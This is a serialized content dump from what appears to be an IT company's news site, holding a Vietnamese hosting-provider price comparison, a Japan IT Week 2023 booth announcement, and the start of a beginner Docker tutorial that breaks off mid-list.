Ưu",[282,10370,10371,10373,10376,10379,10382],{},[306,10372,9851],{},[306,10374,10375],{"align":9818},"223.000",[306,10377,10378],{"align":9818},"299.000",[306,10380,10381],{"align":9818},"1.049.000",[306,10383,10384],{"align":9818},"499.000",[282,10386,10387,10390,10393,10396,10399],{},[306,10388,10389],{},"Storage",[306,10391,10392],{"align":9818},"25 GB",[306,10394,10395],{"align":9818},"15 GB",[306,10397,10398],{"align":9818},"35 GB",[306,10400,10401],{"align":9818},"40 GB",[282,10403,10404,10406,10408,10410,10412],{},[306,10405,9879],{},[306,10407,9882],{"align":9818},[306,10409],{"align":9818},[306,10411,9882],{"align":9818},[306,10413],{"align":9818},[282,10415,10416,10419,10422,10424,10426],{},[306,10417,10418],{},"MySQL\u002F MariaDB",[306,10420,10421],{"align":9818},"20",[306,10423,362],{"align":9818},[306,10425,372],{"align":9818},[306,10427,10236],{"align":9818},[282,10429,10430,10433,10435,10438,10440],{},[306,10431,10432],{},"Sub domain",[306,10434,9882],{"align":9818},[306,10436,10437],{"align":9818},"No information",[306,10439,9882],{"align":9818},[306,10441,10437],{"align":9818},[282,10443,10444,10446,10448,10450,10452],{},[306,10445,9903],{},[306,10447,362],{"align":9818},[306,10449,10437],{"align":9818},[306,10451,341],{"align":9818},[306,10453,10437],{"align":9818},[282,10455,10456,10459,10461,10463,10465],{},[306,10457,10458],{},"Park Domain",[306,10460,9882],{"align":9818},[306,10462,9882],{"align":9818},[306,10464,9882],{"align":9818},[306,10466,9882],{"align":9818},[282,10468,10469,10472,10474,10476,10478],{},[306,10470,10471],{},"Multiple PHP (PHP 5.x to 7.x)",[306,10473,9951],{"align":9818},[306,10475,9951],{"align":9818},[306,10477,9951],{"align":9818},[306,10479,9951],{"align":9818},[282,10481,10482,10484,10486,10488,10490],{},[306,10483,9960],{},[306,10485,9951],{"align":9818},[306,10487,9951],{"align":9818},[306,10489,9951],{"align":9818},[306,10491,9951],{"align":9818},[282,10493,10494,10497,10499,10501,10503],{},[306,10495,10496],{},"Redis Cache",[306,10498,9951],{"align":9818},[306,10500,9951],{"align":9818},[306,10502,9951],{"align":9818},[306,10504,9951],{"align":9818},[282,10506,10507,10510,10512,10514,10516],{},[306,10508,10509],{},"HTTP\u002F2",[306,10511,9951],{"align":9818},[306,10513,9951],{"align":9818},[306,10515,9951],{"align":9818},[306,10517,9951],{"align":9818},[282,10519,10520,10522,10524,10526,10528],{},[306,10521,10133],{},[306,10523,9951],{"align":9818},[306,10525,9951],{"align":9818},[306,10527,9951],{"align":9818},[306,10529,9951],{"align":9818},[395,10531,10533],{"id":10532},"hosting-cloud","Hosting Cloud",[403,10535,9648],{"id":10536},"advantages-5",[31,10538,10539,10542,10545,10548,10551,10554,10557,10560,10563],{},[34,10540,10541],{},"Scalable (scale-up or scale-down) fast: Cloud Hosting allows us to add resources quickly when the user is in need and reduce when the user is no longer needed. Users they only pay for what they actually use, but always receive a lot of resources when needed.",[34,10543,10544],{},"Reliable because it does not depend on any hardware",[34,10546,10547],{},"Website uptime index up to 99.99%.",[34,10549,10550],{},"Full Management: Cloud Hosting include running patches and executive supervision, as well as a security firewall, back-up data from high-tech cloud computing infrastructures.",[34,10552,10553],{},"Windows or Linux platform: Cloud Hosting also supports both operating systems that are windows and Linux. Therefore, all users developing on Microsoft SQL Server or MySQL, IIS or apache, PHP or ASP.NET… are compatible.",[34,10555,10556],{},"Availability: Not same as Other hosting systems, cloud hosting helps users easy to use and database control every time and everywhere. Moreover, this system can automatic upgrade and constantly updated 24\u002F7.",[34,10558,10559],{},"Ensure safely and confidentiality: Users can rest assured when using cloud hosting because this service helps them optimize security for all of your internal data systems.",[34,10561,10562],{},"Possibility to upgrade unlimited : Customers can upgrade and develop service packs continuously depend on the needs of each business without any problems.",[34,10564,10565],{},"Delegate operations to a professional team : Professional team with full ability and high professional ability will help you operate the systems cloud hosting best. At the same time, this system also supports businesses whenever they encounter difficulties.",[403,10567,9655],{"id":10568},"disadvantages-5",[11,10570,10571,10572,10575],{},"Service packs ",[20,10573,10574],{},"Cloud hosting"," have the price is a bit more expensive than other common hosting types. But in the terms of the long term, Cloud hosting is still much more beneficial.",[11,10577,10578],{},"Although it is more secure than VPS, compared to private servers, cloud servers are still difficult to secure.",[403,10580,10582],{"id":10581},"provider-cloud-storage-service-mắt-bão","Provider cloud storage service Mắt bão",[403,10584,10586],{"id":10585},"currently-only-mắt-bão-supports-cloud-hosting-services","(Currently only Mắt bão supports cloud hosting services)",[276,10588,10589,10610],{},[279,10590,10591],{},[282,10592,10593,10595,10600,10605],{},[285,10594],{},[285,10596,10597],{"align":9818},[20,10598,10599],{},"Cloud Host 1 (Windows)",[285,10601,10602],{"align":9818},[20,10603,10604],{},"Cloud Host 4 (Windows)",[285,10606,10607],{"align":9818},[20,10608,10609],{},"Cloud Host 6 (Windows)",[301,10611,10612,10625,10636,10650,10661,10672,10683,10694,10705,10716,10727,10737],{},[282,10613,10614,10616,10619,10622],{},[306,10615,9851],{},[306,10617,10618],{"align":9818},"49.000",[306,10620,10621],{"align":9818},"149.000",[306,10623,10624],{"align":9818},"409.000",[282,10626,10627,10630,10632,10634],{},[306,10628,10629],{},"Website",[306,10631,308],{"align":9818},[306,10633,319],{"align":9818},[306,10635,362],{"align":9818},[282,10637,10638,10641,10644,10647],{},[306,10639,10640],{},"Storage Cloud",[306,10642,10643],{"align":9818},"1000 MB",[306,10645,10646],{"align":9818},"5500MB",[306,10648,10649],{"align":9818},"15000MB",[282,10651,10652,10654,10657,10659],{},[306,10653,9879],{},[306,10655,10656],{"align":9818},"15GB",[306,10658,9882],{"align":9818},[306,10660,9882],{"align":9818},[282,10662,10663,10665,10668,10670],{},[306,10664,9903],{},[306,10666,10667],{"align":9818},"0",[306,10669,308],{"align":9818},[306,10671,351],{"align":9818},[282,10673,10674,10677,10679,10681],{},[306,10675,10676],{},"Park\u002FSub Domain",[306,10678,330],{"align":9818},[306,10680,9882],{"align":9818},[306,10682,9882],{"align":9818},[282,10684,10685,10688,10690,10692],{},[306,10686,10687],{},"FTP Account",[306,10689,9882],{"align":9818},[306,10691,9882],{"align":9818},[306,10693,9882],{"align":9818},[282,10695,10696,10699,10701,10703],{},[306,10697,10698],{},"SQL Server",[306,10700,308],{"align":9818},[306,10702,351],{"align":9818},[306,10704,9939],{"align":9818},[282,10706,10707,10710,10712,10714],{},[306,10708,10709],{},"My SQL",[306,10711,10667],{"align":9818},[306,10713,308],{"align":9818},[306,10715,308],{"align":9818},[282,10717,10718,10721,10723,10725],{},[306,10719,10720],{},"ASP.NET 3.x\u002F PHP Versions(5.6 - 7.3)",[306,10722,9951],{"align":9818},[306,10724,9951],{"align":9818},[306,10726,9951],{"align":9818},[282,10728,10729,10731,10733,10735],{},[306,10730,9960],{},[306,10732,9963],{"align":9818},[306,10734,9951],{"align":9818},[306,10736,9951],{"align":9818},[282,10738,10739,10741,10743,10745],{},[306,10740,10133],{},[306,10742,9951],{"align":9818},[306,10744,9951],{"align":9818},[306,10746,9951],{"align":9818},[395,10748,10750],{"id":10749},"web-server","Web Server",[565,10752,10754],{"id":10753},"web-server-basic","Web server Basic",[276,10756,10757,10776],{},[279,10758,10759],{},[282,10760,10761,10763,10768,10772],{},[285,10762,212],{},[285,10764,10765],{"align":9818},[20,10766,10767],{},"PA Viet Nam",[285,10769,10770],{"align":9818},[20,10771,9670],{},[285,10773,10774],{"align":9818},[20,10775,9703],{},[301,10777,10778,10790,10802,10815,10828,10841,10853],{},[282,10779,10780,10782,10785,10788],{},[306,10781,9837],{},[306,10783,10784],{"align":9818},"SERVER DELL R340",[306,10786,10787],{"align":9818},"Tera  Plus1",[306,10789,4836],{"align":9818},[282,10791,10792,10794,10797,10800],{},[306,10793,9851],{},[306,10795,10796],{"align":9818},"4.947.000",[306,10798,10799],{"align":9818},"10.880.000",[306,10801,4836],{"align":9818},[282,10803,10804,10807,10810,10813],{},[306,10805,10806],{},"CPU",[306,10808,10809],{"align":9818},"Intel Xeon E-2234 Processor 8M Cache, 3.60 GHz",[306,10811,10812],{"align":9818},"Intel® Quad Core Xeon E5410 (2.33Ghz 12MB Cache, 1333)",[306,10814,4836],{"align":9818},[282,10816,10817,10820,10823,10826],{},[306,10818,10819],{},"RAM",[306,10821,10822],{"align":9818},"2x8GB",[306,10824,10825],{"align":9818},"2x2GB",[306,10827,4836],{"align":9818},[282,10829,10830,10833,10836,10839],{},[306,10831,10832],{},"HDD",[306,10834,10835],{"align":9818},"SSD 480G 2.5",[306,10837,10838],{"align":9818},"2 x 320GB",[306,10840,4836],{"align":9818},[282,10842,10843,10846,10848,10851],{},[306,10844,10845],{},"Bandwidth",[306,10847,10437],{"align":9818},[306,10849,10850],{"align":9818},"1Gbps",[306,10852,4836],{"align":9818},[282,10854,10855,10858,10861,10864],{},[306,10856,10857],{},"Bandwidth International (Up\u002FDown)",[306,10859,10860],{"align":9818},"20Mbps 15Mbps",[306,10862,10863],{"align":9818},"10Mbps 5Mbps",[306,10865,4836],{"align":9818},[565,10867,10869],{"id":10868},"web-server-premium","Web server Premium",[276,10871,10872,10890],{},[279,10873,10874],{},[282,10875,10876,10878,10882,10886],{},[285,10877,212],{},[285,10879,10880],{"align":9818},[20,10881,10767],{},[285,10883,10884],{"align":9818},[20,10885,9670],{},[285,10887,10888],{"align":9818},[20,10889,9703],{},[301,10891,10892,10904,10916,10928,10940,10950,10960],{},[282,10893,10894,10896,10899,10902],{},[306,10895,9837],{},[306,10897,10898],{"align":9818},"SILVER GOLD SERIAL",[306,10900,10901],{"align":9818},"Tera-PLUS3",[306,10903,4836],{"align":9818},[282,10905,10906,10908,10911,10914],{},[306,10907,9851],{},[306,10909,10910],{"align":9818},"5.200.000",[306,10912,10913],{"align":9818},"6.800.000",[306,10915,4836],{"align":9818},[282,10917,10918,10920,10923,10926],{},[306,10919,10806],{},[306,10921,10922],{"align":9818},"Intel Xeon Silver 4110, 2.10 GHz, 11M Cache, 8 Cores, 16 Threads",[306,10924,10925],{"align":9818},"Intel® Xeon® Westmere Quad Core E5620 (2.4Ghz 12MB Cache, QPI 5.86 GT\u002Fsec)",[306,10927,4836],{"align":9818},[282,10929,10930,10932,10935,10938],{},[306,10931,10819],{},[306,10933,10934],{"align":9818},"2x8 GB",[306,10936,10937],{"align":9818},"2x2 GB",[306,10939,4836],{"align":9818},[282,10941,10942,10944,10946,10948],{},[306,10943,10832],{},[306,10945,10835],{"align":9818},[306,10947,10838],{"align":9818},[306,10949,4836],{"align":9818},[282,10951,10952,10954,10956,10958],{},[306,10953,10845],{},[306,10955,10437],{"align":9818},[306,10957,10850],{"align":9818},[306,10959,4836],{"align":9818},[282,10961,10962,10964,10966,10969],{},[306,10963,10857],{},[306,10965,10860],{"align":9818},[306,10967,10968],{"align":9818},"30Mbps 5Mbps",[306,10970,4836],{"align":9818},[395,10972,10974],{"id":10973},"cloud-server","Cloud Server",[403,10976,10978],{"id":10977},"prices-list-hosting-cloud-windows","Prices list hosting cloud windows",[565,10980,10982],{"id":10981},"cloud-server-basic","Cloud server basic",[276,10984,10985,11004],{},[279,10986,10987],{},[282,10988,10989,10991,10995,10999],{},[285,10990],{},[285,10992,10993],{"align":9818},[20,10994,9670],{},[285,10996,10997],{"align":9818},[20,10998,9830],{},[285,11000,11001],{"align":9818},[20,11002,11003],{},"MẮT BÃO",[301,11005,11006,11019,11033,11045,11056,11069,11080,11090,11103],{},[282,11007,11008,11010,11013,11016],{},[306,11009,9837],{},[306,11011,11012],{"align":9818},"MEDIUM 4",[306,11014,11015],{"align":9818},"CLOUD SERVER 2  SSD",[306,11017,11018],{"align":9818},"CS4",[282,11020,11021,11024,11027,11030],{},[306,11022,11023],{},"Price(VNĐ\u002F Month )",[306,11025,11026],{"align":9818},"1.200.000 (699.000)",[306,11028,11029],{"align":9818},"550.000",[306,11031,11032],{"align":9818},"1.489.000",[282,11034,11035,11037,11040,11042],{},[306,11036,10806],{},[306,11038,11039],{"align":9818},"2 vCPU",[306,11041,11039],{"align":9818},[306,11043,11044],{"align":9818},"3vCPU",[282,11046,11047,11049,11052,11054],{},[306,11048,10819],{},[306,11050,11051],{"align":9818},"2 GB",[306,11053,11051],{"align":9818},[306,11055,362],{"align":9818},[282,11057,11058,11060,11063,11066],{},[306,11059,10832],{},[306,11061,11062],{"align":9818},"SSD 40 GB",[306,11064,11065],{"align":9818},"40 GB HDD",[306,11067,11068],{"align":9818},"SSD 80 GB",[282,11070,11071,11073,11076,11078],{},[306,11072,10845],{},[306,11074,11075],{"align":9818},"100Mbps",[306,11077,11075],{"align":9818},[306,11079,10437],{"align":9818},[282,11081,11082,11084,11086,11088],{},[306,11083,9879],{},[306,11085,9882],{"align":9818},[306,11087,9882],{"align":9818},[306,11089,9882],{"align":9818},[282,11091,11092,11095,11098,11101],{},[306,11093,11094],{},"Firewall",[306,11096,11097],{"align":9818},"Free",[306,11099,11100],{"align":9818},"N\u002FA",[306,11102,11100],{"align":9818},[282,11104,11105,11108,11110,11112],{},[306,11106,11107],{},"Load balancing",[306,11109,11097],{"align":9818},[306,11111,11100],{"align":9818},[306,11113,11100],{"align":9818},[565,11115,11117],{"id":11116},"cloud-server-premium","Cloud server Premium",[276,11119,11120,11138],{},[279,11121,11122],{},[282,11123,11124,11126,11130,11134],{},[285,11125],{},[285,11127,11128],{"align":9818},[20,11129,9670],{},[285,11131,11132],{"align":9818},[20,11133,9830],{},[285,11135,11136],{"align":9818},[20,11137,11003],{},[301,11139,11140,11153,11166,11179,11192,11205,11215,11225,11235],{},[282,11141,11142,11144,11147,11150],{},[306,11143,9837],{},[306,11145,11146],{"align":9818},"LARG 8",[306,11148,11149],{"align":9818},"HIGH MEMORY 16x",[306,11151,11152],{"align":9818},"CS6",[282,11154,11155,11157,11160,11163],{},[306,11156,9851],{},[306,11158,11159],{"align":9818},"2.360.000 (1.288.000)",[306,11161,11162],{"align":9818},"2.500.000",[306,11164,11165],{"align":9818},"2.149.000",[282,11167,11168,11170,11173,11176],{},[306,11169,10806],{},[306,11171,11172],{"align":9818},"4 vCPU",[306,11174,11175],{"align":9818},"8 vCPU",[306,11177,11178],{"align":9818},"6v CPU",[282,11180,11181,11183,11186,11189],{},[306,11182,10819],{},[306,11184,11185],{"align":9818},"8 GB",[306,11187,11188],{"align":9818},"16 GB",[306,11190,11191],{"align":9818},"8GB",[282,11193,11194,11196,11199,11202],{},[306,11195,10832],{},[306,11197,11198],{"align":9818},"SSD 100 GB",[306,11200,11201],{"align":9818},"150 GB HDD",[306,11203,11204],{"align":9818},"SSD 120 GB",[282,11206,11207,11209,11211,11213],{},[306,11208,10845],{},[306,11210,11075],{"align":9818},[306,11212,11075],{"align":9818},[306,11214,10437],{"align":9818},[282,11216,11217,11219,11221,11223],{},[306,11218,9879],{},[306,11220,9882],{"align":9818},[306,11222,9882],{"align":9818},[306,11224,9963],{"align":9818},[282,11226,11227,11229,11231,11233],{},[306,11228,11094],{},[306,11230,9951],{"align":9818},[306,11232,9963],{"align":9818},[306,11234,9963],{"align":9818},[282,11236,11237,11239,11241,11243],{},[306,11238,11107],{},[306,11240,9951],{"align":9818},[306,11242,9963],{"align":9818},[306,11244,9963],{"align":9818},[565,11246,11248],{"id":11247},"cloud-server-super","Cloud server Super",[276,11250,11251,11269],{},[279,11252,11253],{},[282,11254,11255,11257,11261,11265],{},[285,11256],{},[285,11258,11259],{"align":9818},[20,11260,9670],{},[285,11262,11263],{"align":9818},[20,11264,9830],{},[285,11266,11267],{"align":9818},[20,11268,11003],{},[301,11270,11271,11284,11296,11308,11319,11332,11342,11352,11362],{},[282,11272,11273,11275,11278,11281],{},[306,11274,9837],{},[306,11276,11277],{"align":9818},"EXTRA 16",[306,11279,11280],{"align":9818},"HIGH MEMORY 32x",[306,11282,11283],{"align":9818},"CS8",[282,11285,11286,11288,11291,11293],{},[306,11287,9851],{},[306,11289,11290],{"align":9818},"5.270.000 (3.800.000)",[306,11292,11162],{"align":9818},[306,11294,11295],{"align":9818},"2.949.000",[282,11297,11298,11300,11302,11305],{},[306,11299,10806],{},[306,11301,11175],{"align":9818},[306,11303,11304],{"align":9818},"16 vCPU",[306,11306,11307],{"align":9818},"8v CPU",[282,11309,11310,11312,11314,11317],{},[306,11311,10819],{},[306,11313,11188],{"align":9818},[306,11315,11316],{"align":9818},"32 GB",[306,11318,10207],{"align":9818},[282,11320,11321,11323,11326,11329],{},[306,11322,10832],{},[306,11324,11325],{"align":9818},"SSD 500 GB",[306,11327,11328],{"align":9818},"300 GB HDD",[306,11330,11331],{"align":9818},"SSD 160 GB",[282,11333,11334,11336,11338,11340],{},[306,11335,10845],{},[306,11337,11075],{"align":9818},[306,11339,11075],{"align":9818},[306,11341,10437],{"align":9818},[282,11343,11344,11346,11348,11350],{},[306,11345,9879],{},[306,11347,9882],{"align":9818},[306,11349,9882],{"align":9818},[306,11351,9963],{"align":9818},[282,11353,11354,11356,11358,11360],{},[306,11355,11094],{},[306,11357,9951],{"align":9818},[306,11359,9963],{"align":9818},[306,11361,9963],{"align":9818},[282,11363,11364,11366,11368,11370],{},[306,11365,11107],{},[306,11367,9951],{"align":9818},[306,11369,9963],{"align":9818},[306,11371,9963],{"align":9818},[395,11373,11374],{"id":1695},"Reference",[11,11376,11377,11378],{},"FPT : ",[55,11379,9668],{"href":9668,"rel":11380},[59],[11,11382,11383,11384],{},"PA VIỆT NAM : ",[55,11385,11386],{"href":11386,"rel":11387},"https:\u002F\u002Fwww.pavietnam.vn\u002Fen\u002Fhosting.html",[59],[11,11389,11390,11391],{},"MẮT BÃO : ",[55,11392,9767],{"href":9767,"rel":11393},[59],[11,11395,11396,11397],{},"VIETTEL : ",[55,11398,11399],{"href":11399,"rel":11400},"https:\u002F\u002Fwww.viettelidc.com.vn\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":11402},[11403,11404,11405,11409,11413,11417,11424,11425,11426,11427,11431],{"id":9647,"depth":67,"text":9648},{"id":9654,"depth":67,"text":9655},{"id":9665,"depth":67,"text":9670,"children":11406},[11407,11408],{"id":9673,"depth":1306,"text":9648},{"id":9690,"depth":1306,"text":9655},{"id":9698,"depth":67,"text":9703,"children":11410},[11411,11412],{"id":9706,"depth":1306,"text":9648},{"id":9721,"depth":1306,"text":9655},{"id":9729,"depth":67,"text":9734,"children":11414},[11415,11416],{"id":9737,"depth":1306,"text":9648},{"id":9753,"depth":1306,"text":9655},{"id":9764,"depth":67,"text":9769,"children":11418},[11419,11420,11421,11422,11423],{"id":9772,"depth":1306,"text":9648},{"id":9794,"depth":1306,"text":9655},{"id":9806,"depth":1306,"text":9807},{"id":9985,"depth":1306,"text":9986},{"id":10146,"depth":1306,"text":10147},{"id":10536,"depth":67,"text":9648},{"id":10568,"depth":67,"text":9655},{"id":10581,"depth":67,"text":10582},{"id":10585,"depth":67,"text":10586,"children":11428},[11429,11430],{"id":10753,"depth":1306,"text":10754},{"id":10868,"depth":1306,"text":10869},{"id":10977,"depth":67,"text":10978,"children":11432},[11433,11434,11435],{"id":10981,"depth":1306,"text":10982},{"id":11116,"depth":1306,"text":11117},{"id":11247,"depth":1306,"text":11248},"2021-03-03","What is Hosting ? Hosting (web hosting) is an online service that helps you publish your native web page or web application to the Internet. When you sign up for a hosting service, you hire a place on a server that holds all the files and data necessary for your website to run. A server is a physical computer running uninterruptedly so that your website can be available at all times for everyone to access.",{},"\u002Fnews\u002Fhosting-vietnam-2021",{"title":9631,"description":11437},"news\u002Fhosting-vietnam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F01135754\u002F355bc43f87f974a72de8.jpg","-8zXBrmI_ficMZpCgfHMlzhdcg8DBtcOLTT1pIm4szk",{"id":11445,"title":11446,"body":11447,"category":69,"created by":70,"date":11476,"description":11477,"extension":72,"meta":11478,"navigation":74,"path":11479,"sections":76,"seo":11480,"stem":11481,"thumbnail":11482,"__hash__":11483},"content_en\u002Fnews\u002Fjapan-it-week-2023.md","We are looking forward to meet you at Japan IT Week !!",{"type":8,"value":11448,"toc":11474},[11449,11452,11455,11458,11461,11464,11467],[11,11450,11451],{},"We will be participating in Japan IT Week (Wednesday, October 25, 2023 to Friday, October 27, 2023).",[11,11453,11454],{},"Our company provides services such as AI image analysis, AI analog meter reading, AWS consulting, order management, and other outsourced system development.",[11,11456,11457],{},"We often receive consultations from customers who have tried to introduce famous cloud services but have not been successful. They may also complain that the response speed is slow.",[11,11459,11460],{},"If you have any problems, please feel free to consult with us at our booth.",[11,11462,11463],{},"If you make a reservation, we can provide you with a smooth guide.",[11,11465,11466],{},"Please refer to the link below for more information.",[11,11468,11469],{},[55,11470,11473],{"href":11471,"rel":11472,"title":11473},"https:\u002F\u002Ftech.briswell.com\u002Fentry\u002F2023\u002F10\u002F18\u002F140442?src=yktw",[59],"Japan IT Week at Makuhari Messe, October 25-27, 2023, Booth No. 52-46",{"title":66,"searchDepth":67,"depth":67,"links":11475},[],"2023-10-19","We will be participating in Japan IT Week (Wednesday, October 25, 2023 to Friday, October 27, 2023). Our company provides services such as AI image analysis, AI analog meter reading, AWS consulting, order management, and other outsourced system development.",{},"\u002Fnews\u002Fjapan-it-week-2023",{"title":11446,"description":11477},"news\u002Fjapan-it-week-2023","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Flogo_itweek.png","Ytivj4btPnIcve8ub1VrcQITGAcbu2sm8ZXJPHwZ9vA",{"id":11485,"title":11486,"body":11487,"category":262,"created by":70,"date":11493,"description":259,"extension":72,"meta":11494,"navigation":74,"path":11495,"sections":76,"seo":11496,"stem":11497,"thumbnail":11498,"__hash__":11499},"content_en\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem.md","(日本語) ホワイトボックスと経験ベーステスト",{"type":8,"value":11488,"toc":11491},[11489],[11,11490,259],{},{"title":66,"searchDepth":67,"depth":67,"links":11492},[],"2025-01-24",{},"\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem",{"title":11486,"description":259},"news\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F20160610\u002FScreenshot-2025-01-20-160540.png","TaM38rtNMrKOa28uejmziK6o4ciuzNNMU1rM0AJDmro",{"id":11501,"title":11502,"body":11503,"category":262,"created by":70,"date":11509,"description":259,"extension":72,"meta":11510,"navigation":74,"path":11511,"sections":76,"seo":11512,"stem":11513,"thumbnail":11514,"__hash__":11515},"content_en\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh.md","(日本語) 静的テストの基本",{"type":8,"value":11504,"toc":11507},[11505],[11,11506,259],{},{"title":66,"searchDepth":67,"depth":67,"links":11508},[],"2025-01-09",{},"\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh",{"title":11502,"description":259},"news\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F02173310\u002FScreenshot-2025-01-02-140214.png","w9wpR_HhCMmCychbydddU8rTVaSqlFHAkzfJhbY6eqQ",{"id":11517,"title":11518,"body":11519,"category":262,"created by":70,"date":11525,"description":259,"extension":72,"meta":11526,"navigation":74,"path":11527,"sections":76,"seo":11528,"stem":11529,"thumbnail":11530,"__hash__":11531},"content_en\u002Fnews\u002Fky-thuat-kiem-thu-hop-den.md","(日本語) ブラックボックステスト",{"type":8,"value":11520,"toc":11523},[11521],[11,11522,259],{},{"title":66,"searchDepth":67,"depth":67,"links":11524},[],"2025-01-15",{},"\u002Fnews\u002Fky-thuat-kiem-thu-hop-den",{"title":11518,"description":259},"news\u002Fky-thuat-kiem-thu-hop-den","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FKiem-thu-hop-den.png","2rM5y_zVOo5SfGzKBFDUjdYcfFtncftMqMnxOCzQo90",{"id":11533,"title":11534,"body":11535,"category":1319,"created by":70,"date":12190,"description":12191,"extension":72,"meta":12192,"navigation":74,"path":12193,"sections":76,"seo":12194,"stem":12195,"thumbnail":12196,"__hash__":12197},"content_en\u002Fnews\u002Flaunch-with-docker.md","Launch Web with Docker",{"type":8,"value":11536,"toc":12176},[11537,11543,11546,11552,11555,11558,11561,11564,11567,11573,11580,11586,11589,11595,11598,11604,11608,11683,11689,11692,11695,11733,11736,11742,11748,11754,11760,11766,11772,11778,11784,11790,11800,11806,11812,11818,11821,11827,11830,11836,11839,11845,11848,11854,11857,11863,11866,11872,11875,11881,11884,11890,11893,11899,11906,11912,11915,11923,11927,11932,11936,11941,11945,11948,11951,11957,11960,11966,11969,11975,11978,11984,11987,11990,11996,11999,12005,12012,12016,12019,12025,12028,12034,12037,12043,12046,12049,12052,12055,12061,12064,12067,12070,12073,12079,12082,12087,12093,12098,12104,12107,12113,12116,12122,12125,12130,12134,12139,12143,12146,12150,12154,12159,12164,12170],[403,11538,11540],{"id":11539},"i-what-is-docker",[20,11541,11542],{},"I. WHAT IS DOCKER?",[11,11544,11545],{},"Docker is an open platform for developing, deploying, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications. By taking advantage of Docker’s methodologies for shipping, testing, and deploying code quickly, you can significantly reduce the delay between writing code and running it in production.",[403,11547,11549],{"id":11548},"ii-benefits-of-docker",[20,11550,11551],{},"II. BENEFITS OF DOCKER",[11,11553,11554],{},"Unlike virtual machines, Docker starts and stops in seconds.",[11,11556,11557],{},"You can launch the container on each system that you want.",[11,11559,11560],{},"Containers can be built and removed faster than virtual machines.",[11,11562,11563],{},"Easy to set up working environment. Just config once only and never have to reinstall dependencies.",[11,11565,11566],{},"It keeps your work-space cleaner when you delete the environment that affects other parts.",[403,11568,11570],{"id":11569},"iii-install",[20,11571,11572],{},"III. INSTALL",[11,11574,11575,11576],{},"See the instructions: ",[55,11577,11578],{"href":11578,"rel":11579},"https:\u002F\u002Fdocs.docker.com\u002Fget-docker\u002F",[59],[403,11581,11583],{"id":11582},"iv-image",[20,11584,11585],{},"IV. IMAGE",[11,11587,11588],{},"Docker Image is a read-only template used to create containers. Image is structured of layers and all layers are read-only. Create an image can be based on another image with some additional customization. In short, Docker Image is a place to store environment settings such as OS, packages, software to run…",[403,11590,11592],{"id":11591},"v-container",[20,11593,11594],{},"V. CONTAINER",[11,11596,11597],{},"Docker Container is created from Docker Image, which contains everything needed to be able to run an application. As virtualization but the Container is very light, can be considered as a system process. It only takes a few seconds to start, stop or restart a Container. With a physical server, instead of running a few traditional virtual machines, we can run several dozen, even several hundred Docker Containers.",[403,11599,11601],{"id":11600},"vi-compare-container-and-virtual-machine",[20,11602,11603],{},"VI. COMPARE CONTAINER AND VIRTUAL MACHINE",[438,11605],{"className":11606,"alt":66,"src":11607,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28100010\u002Fcompare.jpg",[276,11609,11610,11626],{},[279,11611,11612],{},[282,11613,11614,11616,11621],{},[285,11615],{},[285,11617,11618],{},[20,11619,11620],{},"CONTAINER",[285,11622,11623],{},[20,11624,11625],{},"VIRTUAL MACHINE",[301,11627,11628,11639,11650,11661,11672],{},[282,11629,11630,11633,11636],{},[306,11631,11632],{},"Resource",[306,11634,11635],{},"The process in the container directly uses real resources, but the operating system can stipulate each process a different resource limit  (or unlimited).",[306,11637,11638],{},"Everything is limited by virtual hardware.",[282,11640,11641,11644,11647],{},[306,11642,11643],{},"Execution",[306,11645,11646],{},"The real OS runs the software.",[306,11648,11649],{},"Real OS → Virtual OS → Virtual OS running the software. (For VPS, Hypervisor type 1 replaces the real OS)",[282,11651,11652,11655,11658],{},[306,11653,11654],{},"Performance",[306,11656,11657],{},"Real software runs on real hardware. Starting speed is almost a normal software.",[306,11659,11660],{},"Real hardware has to carry a virtual OS. Since the computer was booted up, it took time until the software was used.",[282,11662,11663,11666,11669],{},[306,11664,11665],{},"Security",[306,11667,11668],{},"Processes in the same container can still affect each other. But normally each container should only run one process. Processes of different containers cannot affect each other.",[306,11670,11671],{},"Software has malicious code can affect other process resources in the same VM.",[282,11673,11674,11677,11680],{},[306,11675,11676],{},"Support software",[306,11678,11679],{},"Docker Engine, LXC Linux Container, Apache Mesos, CRI-O (Kubernetes)…",[306,11681,11682],{},"VirtualBox, VMWare, Microsoft Hyper-V, Parallels, Linux KVM, Docker Machine…",[403,11684,11686],{"id":11685},"vii-dockerfile",[20,11687,11688],{},"VII. DOCKERFILE",[11,11690,11691],{},"– Dockerfile is a config file for Docker to build the image. It uses a basic image to build the initial image class. Some basic images: python, ubuntu and alpine. Then if there are additional layers then it is stacked on top of the base layer.",[11,11693,11694],{},"– The config :",[31,11696,11697,11700,11703,11706,11709,11712,11715,11718,11721,11724,11727,11730],{},[34,11698,11699],{},"FROM — Specifies the original image: python, ubuntu, alpine…",[34,11701,11702],{},"LABEL — Provide metadata for the image. Can be used to add maintainer information. To see the labels for the images, use the docker inspect command.",[34,11704,11705],{},"ENV — Set an environment variable.",[34,11707,11708],{},"RUN — Can create a command when building image. Used to install packages into containers.",[34,11710,11711],{},"COPY — Copy files and folders into the container.",[34,11713,11714],{}," ADD — Copy files and folders into the 